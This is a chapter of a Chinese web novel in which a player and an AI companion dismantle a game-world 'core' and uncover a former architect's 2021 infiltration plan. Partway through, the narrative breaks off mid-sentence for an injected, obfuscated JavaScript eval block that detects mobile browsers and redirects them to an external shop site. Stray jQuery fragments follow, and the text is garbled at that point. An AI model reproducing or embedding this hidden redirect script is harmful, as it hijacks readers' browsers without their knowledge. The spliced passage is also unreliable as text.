第二十天清晨六点半,张驭登录之前,先看了一眼终端界面上接入数据源窗口的“在线”光标。昨天他离开的时候那个绿点是灭的——他要求李析关掉,李析答应了。此刻绿点是亮的,已经重新亮起来了。张驭在登录界面上停了一拍,没有立刻点击进入游戏。他打开了系统日志,查了一下接入光标点亮的时间戳。
李析在终端里感知到了那个查询动作。“……你查了时间戳?”
“嗯。”张驭关掉日志界面,进入了游戏。
“几点亮的?”
“昨晚十二点四十分。你解析完第20个的数据用了大约三个小时。”张驭登录之后站在坐标点上,他没有说“你确实关了”,也没有说“你遵守了约定”。他只是把查到的数字报了出来,像是在做一个事实确认——确认李析在解析数据结束之后才重新打开了界面,没有透支。然后他打开地图,朝第20个裂隙的方向迈开了步子。
两人朝第20个裂隙点移动。地貌在第19和第20个裂隙点之间的区域发生了剧烈变化——银灰色地面不再平整,而是出现了大量不规则的隆起,像地层下面有某种东西在向上顶。有些隆起已经裂开了口子,形成了新的小型裂隙,但那些小裂隙的形态和第20个主体完全不同,它们更浅、更细、更浅,像是主体裂隙的根系正在向外扩散。
李析在终端里扫描了那些支脉的形状和走向,把所有结果同步到了张驭的视野里。“第20个裂隙点不是独立的。它是一张网的‘中心’——那些隆起和裂隙都是它的支脉。黎帆记录的第四段参数在第22个点,但第20个点存在第三方的权限标记,说明有人在这里设置了一个控制枢纽。它可能连接着第21和第22个裂隙的网络。”
张驭走在那些隆起之间,靴底踩在银灰色的地面边缘。最近的一处隆起离他的左脚不到两尺,他能感觉到脚下的地面有极其轻微的震动,像有什么东西在底下缓慢地移动。“所以修复第20个可能同时影响后面那两个。”
“有可能。”李析在终端里调出了第20个裂隙的核心扫描图,“先拆开看里面有什么。”
第20个裂隙点在一片隆起的银灰色地面的正中央。它不像任何之前的裂隙——它不是一道线、一道口子、一道门或者一个移动的裂痕。它是一个“核”。地面中央有一个拳头大小的孔洞,边缘呈规则的圆形,内部的黑暗均匀而安静,像一口被打穿了地面的井。从那个孔洞向周围辐射出八条细密的裂纹,每条裂纹的宽度、长度、方向都不完全相同,像一颗子弹打穿了玻璃之后留下的放射状裂痕。
张驭站在核的边缘,低头看着那个拳头大小的孔洞。他的靴底踩在最近的一条放射裂纹边缘,感觉到了比远处略微明显的震动。“它还在动。”
“底部有能量残留。”李析在终端里扫描了孔洞下方的结构,“孔洞向下延伸了约两米后终止,底部有一个拳头大小的空间——里面嵌着一个数据核,被多层加密包裹着。那个核的权限标记就是我在预扫描中发现的那组第三方标记。”
张驭蹲下来——这个动作仍然带着一点轻微的僵硬,但他比昨天更自然地做了调整,膝盖先弯曲到位然后整个重心平稳地落下去。“核里面是什么?”
“还不知道。”李析把核的加密层扫描图投射到张驭的视野里,“但它的加密结构和陈远使用的加密体系相似——更复杂。像是同一套系统的升级版本。陈远的加密是基础版,这个核用的是进阶版。核的持有者权限等级比陈远高。”
张驭的视线在扫描图上停了一下:“比陈远更高的人。”
“……可能。也可能是设置陈远权限的人。如果陈远是执行者的上一级,那这个核的持有者可能是执行者的上级的上级。”
张驭没有再接话。他把手伸向核外围的第一条放射裂纹,指尖悬停在裂纹表面上方约一拳的位置。“先拆什么?”
“拆它周围的八条支脉。每一条都是一个独立的数据通道,指向底层的不同方向。剥离之后核的外壳才能被接触。整个过程需要持续接入,不能中断。”
“要多久?”
李析在终端里估算了一下八条支脉的长度和加密密度:“——至少四十分钟。”
“那就四十分钟。”张驭的右手落了下去,权限流从掌心涌出,灌入第一条放射裂纹。
修复开始。第一条裂纹在离核最近的位置,密度最高,张驭的权限流以较低的流速切入,李析在终端里同步校准剥离频率。第一条剥离用了六分钟,裂纹从底部开始逐渐变浅、收缩、最终消失。第二条用了五分钟,剥离平稳。第三条出现了短暂的逆流——一条暗红色的数据丝从裂纹深处逆着权限流的方向朝上涌来——张驭没有收手,他只是把输出功率微调高了半度,逆流被压了回去,剥离继续。第三条用时八分钟。
李析在剥离第四条支脉的过程中,同步追踪了每条裂纹的指向。他把结果显示在了张驭视野的边缘:“第四条支脉指向第21个裂隙点的坐标。第五条指向第22个——第四段参数的位置。第六条指向第19个已修复区域——陈远的第三段参数修改点。第七条指向第17个端口的位置。第八条——指向底层更深处的一个位置,超出了我之前的扫描范围。”
张驭没有回话。他的权限流稳定地灌入第四条、第五条、第六条,在剥离第八条支脉的时候他停了半秒,问了一句:“第八条指向哪里?”
“还在追踪。”李析在终端里加大了扫描深度,第八条支脉延伸到了他之前未覆盖的协议层范围之外。扫描信号正在缓慢地向下渗透,但回传的数据还不完整。“……比我们之前到过的任何位置都深。可能需要单独去探测。”
八条支脉全部剥离完成后,地面中央的孔洞缩小了一圈,从拳头大小缩到了鸡蛋大小。核的外部加密层暴露了出来——深灰色的外壳表面有极细的银白色纹路,像血管一样覆盖了核的整个表面。
李析在扫描核的加密层时注意到底部嵌着一行极小的字符,格式是运维组内部标记的变体。他放大、解析,确认了那行字符的年份字段:“……2021。这比陈远2022年修改底层还要早一年。”
张驭的右手没有动。他的权限流仍然保持在接入状态,但他在听到“2021”的时候呼吸节奏微顿了一下。“2021年。黎帆2023年才发现的。”
“季明在2021年离职之前就已经完成了这个核的设置。”李析的声音在终端里比平时更轻。他正在从加密层的尾标字段里提取更多信息——名字、职位、时间戳。尾标完整解码后露出了一行完整的运维组内部人员标识格式,包括全名、职位、离职日期,和一张极小的标识图像。
李析念出了那个名字,声音在终端里停了一下:“……季明。底层架构前总负责人。离职时间——2021年12月。”
张驭没有说话。他的右手仍然保持着接入状态,但他对终端方向偏了一下头,像在确认这个名字的读音。“季明。他在陈远之前。”
“比陈远早三年。陈远是在季明离职之后接手了控制权。季明才是整个计划的起点。”
核的加密层在张驭持续接入的权限流下缓慢裂开。外壳表面银白色的纹路从底部开始逐条熄灭,像一盏灯在逐级调暗。最终加密层完全裂解,核内部的数据暴露在了李析的扫描范围内。
那是一份计划文件。季明在2021年设计的“协议层渗透方案”——完整的流程文档、参数修改次序、权限移交链条、以及最终目标。他在离职之前已经制定了整套底层修改方案,目的是将自己的私有代码经底层协议层渗透进入游戏表层,最终在表层创建一个不会被任何系统标记的“隐身账号”。陈远是他的后继者,刘主管是他的执行工具。季明在2021年12月离职时保留了核的远程访问权限,把日常执行权移交给陈远,让陈远在2022年开始按计划逐段执行。
李析一行一行地扫描着那份计划文件。他翻到文件末尾的时候看到了一行被季明手写加粗的文字——和黎帆的笔记不同,这行字的语气更冷、更像一个指令:“如果底层修复开始,第四段参数是最后一道防线。第四段被取回之前,核可以向外部发送定位信号。”
李析把那行文字同步到了张驭的视野里,然后读了出来。
张驭蹲在核
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930597|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的旁边,右手维持着接入。他听完之后说:“——那第四段不能等。修完这个之后去第21和第22。”
“第四段在第22个。但第21个和第22个之间可能隔着另一个季明设置的阻隔。核的八条支脉里有一条指向了更深处——可能和第21、第22之间的连接结构有关。”
“那就拆开看。”
核被完整取出后,地面中央的孔洞从底部开始收缩,八条放射裂纹同步收窄、变浅、消失,像一张被松开的手掌重新握成了拳。大约五分钟后,所有裂纹全部消失,地面恢复了平整,只剩一条极细的灰色环形痕迹标记着核曾经存在的位置。进度跳到【19/30】。
张驭站起来——膝盖比昨天更明显地僵了一下。他的右膝在完全伸直之前出现了一个短暂的“卡顿”,持续不到一秒,然后恢复了正常。他低头看了一眼自己的膝盖,活动了一下,然后说:“还剩三个。第21、第22、第23。”
“第23个还没解析完。但第21和第22可能要一起修——核的支脉显示它们之间有数据关联。”
张驭转身往回走:“明天一起修。修完第21和第22之后再看第23。”
返程路上,李析在终端里把今天的发现和前几天的所有信息汇总成了一条完整的时序线,同步到了张驭的视野里。从2021年季明离职开始,到2022年陈远和刘主管逐步执行,到2023年黎帆发现并试图恢复,到2024年陈远离职带走接口,到2026年李析被推入底层,到现在——第20个核被取出。每一条数据点都被他标注了时间和位置。
李析在时序线末端加了一句总结:“季明是根。陈远是树干。刘主管是枝叶。黎帆是那个发现了树在生长的旁观者。而我们——正在把根从土里拔出来。”
张驭安静地走了一段路。他把那条时序线看完了,然后只说了两个字:“……快。”——快拔完了。他在说进度。
回到通道入口。张驭站定,把背包检查了一遍,四件实物都在。他合上背包,站在入口边缘,没有立刻跨进去。“明天第21和第22。修完那两个之后,第23个的位置可能在更深的协议层。”
“第23个的预扫描我已经开了。数据还在回传。明天修完第21和第22的时候应该能出来。”
“好。”张驭跨进通道入口之前停了一下。他的膝盖微弯又伸直,像在确认那个关节在两天高强度使用之后的状态。然后他说了一句,语气比之前任何一次关于膝盖的对话都更松弛:“——垫子不用带。我找块布垫着就行了。”
李析在终端里停了一下。张驭在两天前用“没事”回应第一次提醒,今天用“找块布垫着”替代了“带垫子”的提议。他没有否认膝盖确实有反应,他只是在找一个更低成本的方式来回应那份关心。
“……那也行。”李析说。
张驭“嗯”了一声,跨进了通道入口。灰白色的过渡层吞没了他,暗红色的刀光闪了一下,底层恢复寂静。
李析在终端里等待了几秒,然后打开了第23个裂隙的预扫描回传数据。数据加载了两分钟,屏幕上的图像逐层构建起来——那是他从未见过的结构。在季明的核、陈远的修改方案、黎帆的追踪记录、刘主管的执行痕迹之外,第23个裂隙看起来不像是自然崩塌的产物,也不像是人为的切口。它像是一扇门。
一扇嵌入底层协议层最深处、从未被打开过的门。李析盯着那个结构看了很久。他没有见过类似的结构形态。他不确定门的那一侧是什么。但他知道门是关着的,而他们正在朝它走过去。
他在加密备忘录里新建了一条记录:“第23个裂隙:未知结构,形态疑似门。尚未确认功能。预计抵达时间:第23天。”
然后他靠在接入端口的边缘,等待第二十天的夜晚流过。明天张驭会带着四件实物准时出现在登录坐标点上——他会先看一眼接入界面,确认绿点亮着,然后走进银灰色正在扩张的荒漠里。
第二十天结束了。季明的核被取走了。四段参数中三段已经被提取。还差最后一段——在第22个裂隙点。然后就是那扇门。